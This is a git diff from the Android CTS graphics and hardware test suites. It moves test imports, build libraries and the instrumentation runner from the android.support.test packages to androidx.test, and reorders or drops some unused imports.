diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java
index 9070690..c31229c 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java
@@ -28,11 +28,12 @@
 import android.graphics.PixelFormat;
 import android.graphics.cts.R;
 import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DefaultFocusHighlightTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DefaultFocusHighlightTest.java
index c8d057a..1bc6eb9 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DefaultFocusHighlightTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DefaultFocusHighlightTest.java
@@ -44,12 +44,13 @@
 import android.graphics.drawable.ShapeDrawable;
 import android.graphics.drawable.StateListDrawable;
 import android.graphics.drawable.shapes.RectShape;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.StateSet;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java
index aef8c3a..bd8a099 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java
@@ -33,8 +33,9 @@
 import android.graphics.drawable.DrawableContainer;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
 import android.graphics.drawable.LevelListDrawable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java
index 9b93a48..f13ed13 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java
@@ -50,8 +50,9 @@
 import android.graphics.drawable.DrawableContainer;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
 import android.graphics.drawable.LevelListDrawable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java
index 3c26f39..617873b 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java
@@ -16,11 +16,17 @@
 
 package android.graphics.drawable.cts;
 
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.content.ContentResolver;
 import android.content.Context;
@@ -36,36 +42,29 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.Callback;
 import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.test.AndroidTestCase;
 import android.util.AttributeSet;
 import android.util.StateSet;
 import android.util.TypedValue;
 import android.util.Xml;
 import android.view.View;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.File;
 import java.io.FileInputStream;
-import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.mockito.Matchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class DrawableTest {
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
index c7acccc..f4c45fa 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
@@ -44,11 +44,12 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.DrawableWrapper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.StateSet;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java
index abcb71f..dbf96ef 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java
@@ -27,9 +27,10 @@
 import android.content.res.Resources;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
index 4a05376..9615e27 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
@@ -36,12 +36,13 @@
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.GradientDrawable;
 import android.graphics.drawable.GradientDrawable.Orientation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
index c248085..745aeca 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
@@ -36,9 +36,10 @@
 import android.os.Handler;
 import android.os.Message;
 import android.os.Parcel;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java
index b1c1f03..17b564a 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java
@@ -26,25 +26,23 @@
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.content.res.XmlResourceParser;
-import android.graphics.Bitmap;
-import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.ColorFilter;
 import android.graphics.PixelFormat;
 import android.graphics.Rect;
 import android.graphics.cts.R;
 import android.graphics.drawable.Drawable;
-import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.InsetDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.StateSet;
 import android.util.Xml;
 import android.view.InflateException;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java
index 4331aba..ba841c7 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java
@@ -61,15 +61,16 @@
 import android.graphics.drawable.RotateDrawable;
 import android.graphics.drawable.ShapeDrawable;
 import android.graphics.drawable.StateListDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.StateSet;
 import android.util.Xml;
 import android.view.Gravity;
 import android.view.View;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java
index 9bc423b..602bea6 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java
@@ -30,11 +30,12 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
 import android.graphics.drawable.LevelListDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java
index 2760940..79052f8 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java
@@ -44,13 +44,14 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.NinePatchDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.DisplayMetrics;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Ignore;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java
index 30a07f7..9e9d28c 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java
@@ -28,12 +28,13 @@
 import android.graphics.cts.R;
 import android.graphics.drawable.PaintDrawable;
 import android.graphics.drawable.shapes.RoundRectShape;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java
index 5aed95c..1142c20 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java
@@ -26,8 +26,9 @@
 import android.graphics.Picture;
 import android.graphics.PixelFormat;
 import android.graphics.drawable.PictureDrawable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
index 4f6bf6d..30afaf9 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
@@ -31,11 +31,12 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.RippleDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java
index 00844f9..282ccb6 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java
@@ -43,12 +43,13 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.RotateDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java
index ad1fe09..3d7dea4 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java
@@ -48,13 +48,14 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.ScaleDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.StateSet;
 import android.view.Gravity;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java
index d563102..7f45fb0 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java
@@ -46,12 +46,13 @@
 import android.graphics.drawable.shapes.OvalShape;
 import android.graphics.drawable.shapes.RectShape;
 import android.graphics.drawable.shapes.Shape;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java
index 7b170ed..a71ecbe 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java
@@ -20,8 +20,9 @@
 
 import android.graphics.Shader;
 import android.graphics.drawable.ShapeDrawable.ShaderFactory;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java
index c96a1ca..991cfe6 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java
@@ -33,12 +33,13 @@
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
 import android.graphics.drawable.StateListDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.StateSet;
 import android.util.Xml;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java
index 1a3f774..b05671d 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java
@@ -33,11 +33,12 @@
 import android.graphics.drawable.LayerDrawable;
 import android.graphics.drawable.NinePatchDrawable;
 import android.graphics.drawable.RippleDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java
index 4bb37c3..3519d11 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java
@@ -35,9 +35,10 @@
 import android.graphics.cts.R;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.TransitionDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
index 4e5fb15..29afaaf 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
@@ -22,11 +22,12 @@
 import android.graphics.BitmapFactory;
 import android.graphics.Rect;
 import android.graphics.cts.R;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
 import android.view.PixelCopy;
 import android.widget.ImageView;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+
 import com.android.compatibility.common.util.SynchronousPixelCopy;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableSizeTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableSizeTest.java
index defa8c6..03ddf84 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableSizeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableSizeTest.java
@@ -22,8 +22,9 @@
 import android.content.res.Resources;
 import android.graphics.cts.R;
 import android.graphics.drawable.VectorDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java
index 76b6e2c..30cd060 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableTest.java
@@ -33,22 +33,20 @@
 import android.graphics.cts.R;
 import android.graphics.drawable.Drawable.ConstantState;
 import android.graphics.drawable.VectorDrawable;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
-import android.util.Log;
 import android.util.Xml;
 
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
-import java.io.File;
-import java.io.FileOutputStream;
 import java.io.IOException;
 
 @SmallTest
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java
index d96aabb..f5984e3 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ArcShapeTest.java
@@ -27,8 +27,9 @@
 import android.graphics.Paint;
 import android.graphics.Paint.Style;
 import android.graphics.drawable.shapes.ArcShape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java
index a83251e..031cf80 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/OvalShapeTest.java
@@ -29,8 +29,9 @@
 import android.graphics.Paint.Style;
 import android.graphics.Rect;
 import android.graphics.drawable.shapes.OvalShape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java
index b7335e3..e890108 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/PathShapeTest.java
@@ -28,8 +28,9 @@
 import android.graphics.Paint.Style;
 import android.graphics.Path;
 import android.graphics.drawable.shapes.PathShape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java
index 4cd6e15..7162f6d 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RectShapeTest.java
@@ -30,8 +30,9 @@
 import android.graphics.Rect;
 import android.graphics.RectF;
 import android.graphics.drawable.shapes.RectShape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java
index 0db0f5d..44cae7b 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java
@@ -30,8 +30,9 @@
 import android.graphics.Rect;
 import android.graphics.RectF;
 import android.graphics.drawable.shapes.RoundRectShape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java
index d5d16c3..23fac8b 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java
@@ -28,8 +28,9 @@
 import android.graphics.Paint;
 import android.graphics.Paint.Style;
 import android.graphics.drawable.shapes.Shape;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
index 4e8aaa7..2fdd4a7 100644
--- a/tests/tests/hardware/Android.mk
+++ b/tests/tests/hardware/Android.mk
@@ -29,9 +29,9 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     mockito-target-minus-junit4 \
     platform-test-annotations \
     ub-uiautomator
diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml
index 7a98a2a..7ce0cbe 100644
--- a/tests/tests/hardware/AndroidManifest.xml
+++ b/tests/tests/hardware/AndroidManifest.xml
@@ -80,7 +80,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.hardware.cts"
                      android:label="CTS hardware tests">
         <meta-data android:name="listener"
